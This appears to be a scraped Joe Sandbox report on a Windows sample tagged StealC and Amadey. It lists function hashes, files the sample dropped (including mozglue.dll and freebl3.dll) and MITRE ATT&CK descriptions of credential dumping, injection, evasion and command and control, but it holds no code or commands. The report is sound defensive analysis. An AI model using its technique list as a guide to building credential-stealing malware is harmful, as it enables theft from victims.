API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
Tactics:	Defense Evasion, Persistence
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGHCFID

C:\ProgramData\AEGHCFIDAKJEBGCAFBAE

C:\ProgramData\CAKKEGDGCGDAKEBFIJEC

C:\ProgramData\CGIDHIIJKEBGHJJKFIDA

C:\ProgramData\EHIJDHCA

C:\ProgramData\FCAECAKKFBGCBGDGIEHCBKJJJE

C:\ProgramData\HIDHDGDHJEGHIDGDHCGCBAKFHI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre